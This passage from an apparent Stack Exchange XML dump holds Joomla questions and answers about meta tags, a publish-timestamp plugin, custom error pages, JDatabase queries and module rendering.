content=&quot;http://www.example.com/content/271/20/11761.full.pdf&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8336" LastEditorUserId="1629" LastEditDate="2016-04-29T21:14:27.173" LastActivityDate="2016-05-29T22:41:06.140" Title="how to insert different citation meta tags for each articles" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16393" PostTypeId="2" ParentId="16392" CreationDate="2016-04-29T21:53:26.637" Score="2" Body="&lt;p&gt;You can do this with a plugin, either find a suitable on from JED (e.g. this: &lt;a href=&quot;http://extensions.joomla.org/extension/tag-meta&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/tag-meta&lt;/a&gt;) or build your own plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom tags can also be added with &lt;code&gt;$document-&amp;gt;addCustomTag&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $metatag= '&amp;lt;meta name=&quot;citation_title&quot; content=&quot;The testis isoform of the phosphorylase kinase catalytic subunit (PhK-T)&quot;&amp;gt;' .&quot;\n&quot;;&#xA;  $metatag.= '&amp;lt;meta name=&quot;citation_author&quot; content=&quot;Liu, Li&quot; &amp;gt;' .&quot;\n&quot;;&#xA;  $metatag.= '&amp;lt;meta name=&quot;citation_author&quot; content=&quot;Rannels, Sht.&quot; &amp;gt;' .&quot;\n&quot;;&#xA;  // add more as needed&#xA;&#xA;  $document = JFactory::getDocument();&#xA;  $document-&amp;gt;addCustomTag($metatag);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-04-29T21:53:26.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16394" PostTypeId="2" ParentId="16386" CreationDate="2016-04-29T21:54:12.180" Score="1" Body="&lt;p&gt;Can be done with a few lines of php, but requires two steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Modify your module&lt;/strong&gt; adding two fields to store timestamp and last status, add this to fieldset section of your module xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;laststatus&quot; type=&quot;text&quot; readonly=&quot;readonly&quot; default=&quot;&quot; label=&quot;Last Status&quot; description=&quot;Last status&quot;/&amp;gt;&#xA;&amp;lt;field name=&quot;lastpublishup&quot; type=&quot;text&quot; readonly=&quot;readonly&quot; default=&quot;&quot; label=&quot;Last publish up timestamp&quot; description=&quot;Last publish Up timestamp&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Create and install a extension plugin&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've tried to write directly the plugin and use discover feature on extensions but not worked for me. You must write this on your computer, pack and the install the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, make a folder and call it publishmodule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside create two files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;publishmodule.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.1&quot; type=&quot;plugin&quot; group=&quot;extension&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_publishmodule&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;your name&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;April 2016&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;your copyright&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;your license&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;your mail&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;your url&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Record last published timestamp in module params&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;publishmodule&quot;&amp;gt;publishmodule.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;publishmodule.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;class PlgExtensionPublishModule extends JPlugin {&#xA;&#xA;    public function onExtensionBeforeSave($context, $table, $isNew) {&#xA;        $tmpparameters = json_decode($table-&amp;gt;params);&#xA;        if(((int) $tmpparameters-&amp;gt;laststatus == 0) &amp;amp;&amp;amp; ($table-&amp;gt;published == 1)) {&#xA;            $tmpparameters-&amp;gt;lastpublishup = time();&#xA;        }&#xA;        $tmpparameters-&amp;gt;laststatus = $table-&amp;gt;published;&#xA;        $table-&amp;gt;params = json_encode($tmpparameters);&#xA;        return true;&#xA;    }&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pack the publishmodule &lt;strong&gt;folder&lt;/strong&gt; in a zip file.&#xA;Upload and install it in your Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when your module changes published status from 0 to 1, the timestamp is recorded in lastpublishup param, you can use in your module this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lastpublishup = $params-&amp;gt;get('lastpublishup',0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tested on a Joomla 3.5.1&lt;/p&gt;&#xA;" OwnerUserId="8234" LastActivityDate="2016-04-29T21:54:12.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16395" PostTypeId="1" CreationDate="2016-04-29T23:07:18.713" Score="1" ViewCount="612" Body="&lt;p&gt;Working with Joomla 3.5.1 and having an issue with pages that I've restricted to a certain permission. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I send out a Newsletter that has roughly 15 stories. The first 5 are always public, but the latter number usually are restricted to &quot;members only&quot;. I will have links in my newsletter to the public and private stories. Unfortunately, when someone who isn't logged in clicks on private stories they get an ugly ACCESS DENIED message, instead of &quot;you must be logged in to view this page&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have much experience using Joomla, and am stepping in for an employee that recently left the organization. I realize this could be a learning curve opportunity, so if someone could point me in the right direction I'd appreciate it. I assume I need to designate some sort of error page for this type of event?&lt;/p&gt;&#xA;" OwnerUserId="8337" LastActivityDate="2016-05-01T08:39:55.627" Title="Access Denied, what am I overlooking?" Tags="|login|security|redirect|access|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16396" PostTypeId="2" ParentId="16390" CreationDate="2016-04-29T23:10:05.823" Score="2" Body="&lt;p&gt;If this is a direct copy paste, you have a mysql error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SELECT 'value' FROM #__rsticketspro_custom_fields_values WHERE 'ticket_id'='&quot;.$item-&amp;gt;id.&quot;' AND 'custom_field_id'=4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'value'&lt;/code&gt; and &lt;code&gt;'ticket_id'&lt;/code&gt; should have back ticks not quotes around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect if you ran &lt;code&gt;echo $db-&amp;gt;getErrorMsg();&lt;/code&gt; right after &lt;code&gt;echo $db-&amp;gt;loadResult();&lt;/code&gt;, it would tell you there is a MySql error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the 2nd part where you use the query wrapper, can you post the output of &lt;code&gt;echo $query;&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-04-29T23:10:05.823" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16397" PostTypeId="2" ParentId="16390" CreationDate="2016-04-29T23:26:12.000" Score="1" Body="&lt;p&gt;Ahhh! I got it!!! I went back to the original code and was able to get it to work properly!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDBO();&#xA;$db-&amp;gt;setQuery(&quot;SELECT `value` FROM #__rsticketspro_custom_fields_values WHERE `ticket_id`='&quot;.$item-&amp;gt;id.&quot;' AND `custom_field_id`=4&quot;);&#xA;$result = $db-&amp;gt;loadResult();&#xA;echo $db-&amp;gt;loadResult();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8335" LastActivityDate="2016-04-29T23:26:12.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16398" PostTypeId="1" CreationDate="2016-04-30T00:38:27.130" Score="0" ViewCount="144" Body="&lt;p&gt;Ok this is building on what I was previously working on in my last post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDBO();&#xA;$db-&amp;gt;setQuery(&quot;SELECT `profile_value` FROM #__user_profiles WHERE `user_id`='customer_id' AND `profile_key`='profile.address1'&quot;);&#xA;$result = $db-&amp;gt;loadResult();&#xA;echo $db-&amp;gt;loadResult();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in this situation, I have to reference &lt;strong&gt;customer_id&lt;/strong&gt; from a different table than the rest of this. How would I go about pointing just that one field that is located in this other table (&lt;strong&gt;rsticketspro_tickets&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am I going about this in the completely wrong way? I'm trying to place this code to pull an address from a users profile on a &quot;View Ticket&quot; screen. So the customer_id is what is referenced on that page I believe, so maybe its already a variable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NEW CODE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDBO();&#xA;$db-&amp;gt;setQuery(&quot;SELECT `profile_value` FROM #__user_profiles WHERE `user_id`='rsticketspro_tickets.customer_id' AND `profile_key`='profile.address1'&quot;);&#xA;$result = $db-&amp;gt;loadResult();&#xA;echo $db-&amp;gt;loadResult();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NEW NEW CODE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;qn('a.profile_value'))&#xA;  -&amp;gt;from($db-&amp;gt;qn('#__user_profiles'), 'a')&#xA;  -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__rsticketspro_tickets', 'b') . ' ON (' . $db-&amp;gt;qn('a.user_id') . &quot; = &quot; . $db-&amp;gt;q(b.customer_id) . ')')&#xA;-&amp;gt;where($db-&amp;gt;qn('a.profile_key') . &quot; = &quot; . $db-&amp;gt;q('b.address1'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This might help, but I cant seem to see whats wrong in everything at the moment still.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TABLE:&lt;/strong&gt; &lt;em&gt;#__user_profiles&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;COLUMNS:&lt;/strong&gt; &lt;em&gt;user_id, profile_key, profile_value&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PROFILE_KEY VALUE:&lt;/strong&gt; &lt;em&gt;profile.address1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TABLE:&lt;/strong&gt; &lt;em&gt;#__rsticketspro_tickets&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;COLUMNS:&lt;/strong&gt; &lt;em&gt;customer_id&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="8335" LastEditorUserId="8335" LastEditDate="2016-04-30T22:12:52.530" LastActivityDate="2016-05-01T00:08:37.930" Title="Display Entry when referencing 2 Tables" Tags="|joomla-3.x|php|mysql|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="16399" PostTypeId="2" ParentId="16390" CreationDate="2016-04-30T03:58:11.367" Score="4" Body="&lt;p&gt;I suspect the issue is due to your select statement missing quoteName&#xA;and a malformed where statement&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you should also use chaining (and qn alias for quoteName q for quote)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be the right way to do queries using the Joomla query builder syntax&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;qn('value'))&#xA;      -&amp;gt;from($db-&amp;gt;qn('#__rsticketspro_custom_fields_values'))&#xA;      -&amp;gt;where($db-&amp;gt;qn('ticket_id') . &quot; = &quot; . $db-&amp;gt;q($item-&amp;gt;id))&#xA;      -&amp;gt;where($db-&amp;gt;qn('custom_field_id') . &quot; = &quot; . $db-&amp;gt;q(4));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;See &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow&quot;&gt;Selecting data using JDatabase&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;See &lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&quot; rel=&quot;nofollow&quot;&gt;Inserting, Updating and Removing data using JDatabase&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;See &lt;a href=&quot;http://joomla.github.io/coding-standards/&quot; rel=&quot;nofollow&quot;&gt;Joomla coding standards&lt;/a&gt; (which includes a small part on best&#xA;practices for JDatabase queries in the PHP section)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7344" LastEditorUserId="168" LastEditDate="2016-04-30T10:07:32.760" LastActivityDate="2016-04-30T10:07:32.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16400" PostTypeId="2" ParentId="16398" CreationDate="2016-04-30T04:20:17.860" Score="3" Body="&lt;p&gt;You should review how to use JDatabase for queries, what you wrote is basically a RAW SQL statement and left off the join for the second table. Here is the correct structure with chaining (it should work if your table columns and variables are named correctly). In either case, see the references for example on using JDatabase.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;qn('a.profile_value'))&#xA;  -&amp;gt;from($db-&amp;gt;qn('#__user_profiles'), 'a')&#xA;  -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__rsticketspro_tickets', 'b') . ' ON (' . $db-&amp;gt;qn('a.user_id') . &quot; = &quot; . $db-&amp;gt;q(b.customer_id) . ')')&#xA;  -&amp;gt;where($db-&amp;gt;qn('a.user_id') . &quot; = &quot; . $db-&amp;gt;q($customer_id));&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming you already have the customer ID the join is totally unnecessary unless you need data from the second table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;qn('a.profile_value'))&#xA;  -&amp;gt;from($db-&amp;gt;qn('#__user_profiles'), 'a')&#xA;  -&amp;gt;where($db-&amp;gt;qn('a.user_id') . &quot; = &quot; . $db-&amp;gt;q($item-&amp;gt;customer_id));&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;additional code needed to extract the address1 data from the $result&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;See &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow&quot;&gt;Selecting data using JDatabase&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;See &lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&quot; rel=&quot;nofollow&quot;&gt;Inserting, Updating and Removing data using JDatabase&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;See &lt;a href=&quot;http://joomla.github.io/coding-standards/&quot; rel=&quot;nofollow&quot;&gt;Joomla coding standards&lt;/a&gt; (which includes a small part on best&#xA;practices for JDatabase queries in the PHP section)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7344" LastEditorUserId="7344" LastEditDate="2016-04-30T23:44:17.087" LastActivityDate="2016-04-30T23:44:17.087" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="16401" PostTypeId="2" ParentId="4253" CreationDate="2016-04-30T04:40:46.640" Score="0" Body="&lt;p&gt;It's really all dependent on personal preferences and what you specify in your manifest file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See Manifest files (where you tell Joomla your file structure in the zip)&#xA;&lt;a href=&quot;https://docs.joomla.org/Manifest_files&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Manifest_files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set up your project with an extension specific Phing build file you will set it once and never care again since the zip is built automatically. &lt;a href=&quot;https://github.com/akeeba/buildfiles/blob/master/phing/README.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/akeeba/buildfiles/blob/master/phing/README.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2016-04-30T04:40:46.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16402" PostTypeId="2" ParentId="16377" CreationDate="2016-04-30T04:50:36.867" Score="2" Body="&lt;p&gt;Can Joomla and MySQL handle that many access requests? Absolutely, IF (and it's a big if) your server that's hosting the site can handle that bandwidth and has the resources for the demand. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But don't expect that kind of performance, bandwidth availability, and resources necessary to handle that level of use on any shared host. Follow the recommendations others have given you for picking something for hosting that you can grow with. Monitor and upgrade as necessary.&lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2016-04-30T04:50:36.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16403" PostTypeId="2" ParentId="16366" CreationDate="2016-04-30T05:00:16.313" Score="0" Body="&lt;p&gt;You edit the DocBlock Header in the source code and submit a PR with your fix. (from/to the staging branch)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the file you are looking for:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/cache/cache.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/cache/cache.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2016-04-30T05:00:16.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16404" PostTypeId="2" ParentId="16323" CreationDate="2016-04-30T05:22:38.393" Score="1" Body="&lt;p&gt;You should use Exceptions to handle the error and your message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are supporting both J2.5 and J3.x+ you can handle the error on a per-version case.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (JError::$legacy) {&#xA;    // Use legacy error handling&#xA;} else {&#xA;    // Use PHP exception handling&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/0c8afc0f5d2b6f8091b938d3fb447946c2924625/administrator/components/com_admin/script.php#L94-L101&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;an example&lt;/strong&gt;&lt;/a&gt; from the CMS of the kind of thing your trying to do.&lt;/p&gt;&#xA;" OwnerUserId="7344" LastEditorUserId="1643" LastEditDate="2016-12-29T13:37:12.163" LastActivityDate="2016-12-29T13:37:12.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16405" PostTypeId="2" ParentId="16319" CreationDate="2016-04-30T05:50:00.607" Score="1" Body="&lt;p&gt;Your filter xml looks right&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you add the filter field to your model &lt;code&gt;__construct()&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct($config = array())&#xA;{&#xA;    if (empty($config['filter_fields']))&#xA;    {&#xA;        $config['filter_fields'] = array(...&#xA;                     'catid', 'a.catid', 'category_id', 'category_title',);&#xA;    }&#xA;...&#xA;&#xA;protected function populateState($ordering = null, $direction = null)&#xA;{&#xA; ...&#xA;$this-&amp;gt;setState('filter.category_id', $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filter.category_id', 'filter_category_id', '', 'string'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is your model's &lt;code&gt;populateState()&lt;/code&gt; getting the user state and setting the filter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now it sounds like your view is aware of the field, but your model doesn't know what to do with it.&lt;/p&gt;&#xA;" OwnerUserId="7344" LastEditorUserId="7344" LastEditDate="2016-05-02T02:47:37.670" LastActivityDate="2016-05-02T02:47:37.670" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16406" PostTypeId="2" ParentId="16395" CreationDate="2016-04-30T08:03:47.373" Score="2" Body="&lt;p&gt;According to the Joomla! Documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Joomla! uses the templates/system/error.php file to handle several&#xA;  HTTP Status errors, including &quot;403 Forbidden&quot;, &quot;404 Not Found&quot;, and&#xA;  &quot;500 Internal Server&quot; errors. You can style the error results, if&#xA;  desired.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Further details of how you can do this are outlined at:&#xA;&lt;a href=&quot;https://docs.joomla.org/Custom_error_pages#Customizing_Error_Messages&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Custom_error_pages#Customizing_Error_Messages&lt;/a&gt;&#xA;In your case, the error being a 403 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="8311" LastActivityDate="2016-04-30T08:03:47.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16407" PostTypeId="2" ParentId="16383" CreationDate="2016-04-30T15:23:23.440" Score="1" Body="&lt;p&gt;Have you tried just initializing the class?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have something like this in your custom form field in your module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JFormFieldMyCustomField extends JFormField {&#xA;    ....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where you want to call it, you should just be able to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$field = new JFormFieldMyCustomField;&#xA;$field-&amp;gt;value = 'inputValue';&#xA;$field-&amp;gt;name = 'inputName';&#xA;// ... etc&#xA;echo $field-&amp;gt;renderField();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-04-30T15:23:23.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16408" PostTypeId="2" ParentId="16319" CreationDate="2016-04-30T16:13:03.447" Score="1" Body="&lt;p&gt;Okay, my try ; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check if your category filter presists after clicking pagination link.&#xA;I give 99% for not storing your filter into state value.&#xA;You need to store this filter in &lt;code&gt;$this-&amp;gt;state&lt;/code&gt; after sending form.&#xA;Then check if this filter is set when you creating a query in &lt;code&gt;getListQuery&lt;/code&gt; method in your model.&lt;/p&gt;&#xA;" OwnerUserId="5203" LastActivityDate="2016-04-30T16:13:03.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16409" PostTypeId="1" AcceptedAnswerId="16410" CreationDate="2016-04-30T16:56:02.143" Score="1" ViewCount="160" Body="&lt;p&gt;I am creating a module and inside my module.php file, I created a variable named &lt;code&gt;$content&lt;/code&gt;, which I wanted to use later as reference to get values from an associative array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting the values from the array was working fine, but at the same time, I was seeing in the output of my module the value of the $content variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realized that whenever I use a variable named &lt;code&gt;$content&lt;/code&gt; inside a module, Joomla &lt;strong&gt;var_dumps&lt;/strong&gt; the value of this variable;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone has any clue about this behavior? Is the &lt;strong&gt;&lt;code&gt;$content&lt;/code&gt;&lt;/strong&gt; name somehow reserved - or has any other special purpose?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-04-30T17:18:22.093" Title="The mystery with the $content variable in Joomla Modules" Tags="|joomla-3.x|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16410" PostTypeId="2" ParentId="16409" CreationDate="2016-04-30T17:09:04.717" Score="3" Body="&lt;p&gt;Yes, $content is used for the module rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check at /libraries/cms/modules/helper.php line 139 (function renderModule)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Around line 176&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $module-&amp;gt;module = preg_replace('/[^A-Z0-9_\.-]/i', '', $module-&amp;gt;module);&#xA;    $path = JPATH_BASE . '/modules/' . $module-&amp;gt;module . '/' . $module-&amp;gt;module . '.php';&#xA;&#xA;    // Load the module&#xA;    if (file_exists($path))&#xA;    {&#xA;        $lang = JFactory::getLanguage();&#xA;&#xA;        // 1.5 or Core then 1.6 3PD&#xA;        $lang-&amp;gt;load($module-&amp;gt;module, JPATH_BASE, null, false, true) ||&#xA;            $lang-&amp;gt;load($module-&amp;gt;module, dirname($path), null, false, true);&#xA;&#xA;        $content = '';&#xA;        ob_start();&#xA;        include $path;&#xA;        $module-&amp;gt;content = ob_get_contents() . $content;&#xA;        ob_end_clean();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$content value is defined here, after loading the template the module output is asigned with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$module-&amp;gt;content = ob_get_contents() . $content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8234" LastEditorUserId="8234" LastEditDate="2016-04-30T17:18:22.093" LastActivityDate="2016-04-30T17:18:22.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16411" PostTypeId="2" ParentId="16361" CreationDate="2016-04-30T22:05:34.520" Score="2" Body="&lt;p&gt;You can use sh404sef extension to improve sef and perfomance of your site. Cache, 301 redirections, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/sh404sef&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/sh404sef&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8234" LastActivityDate="2016-04-30T22:05:34.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
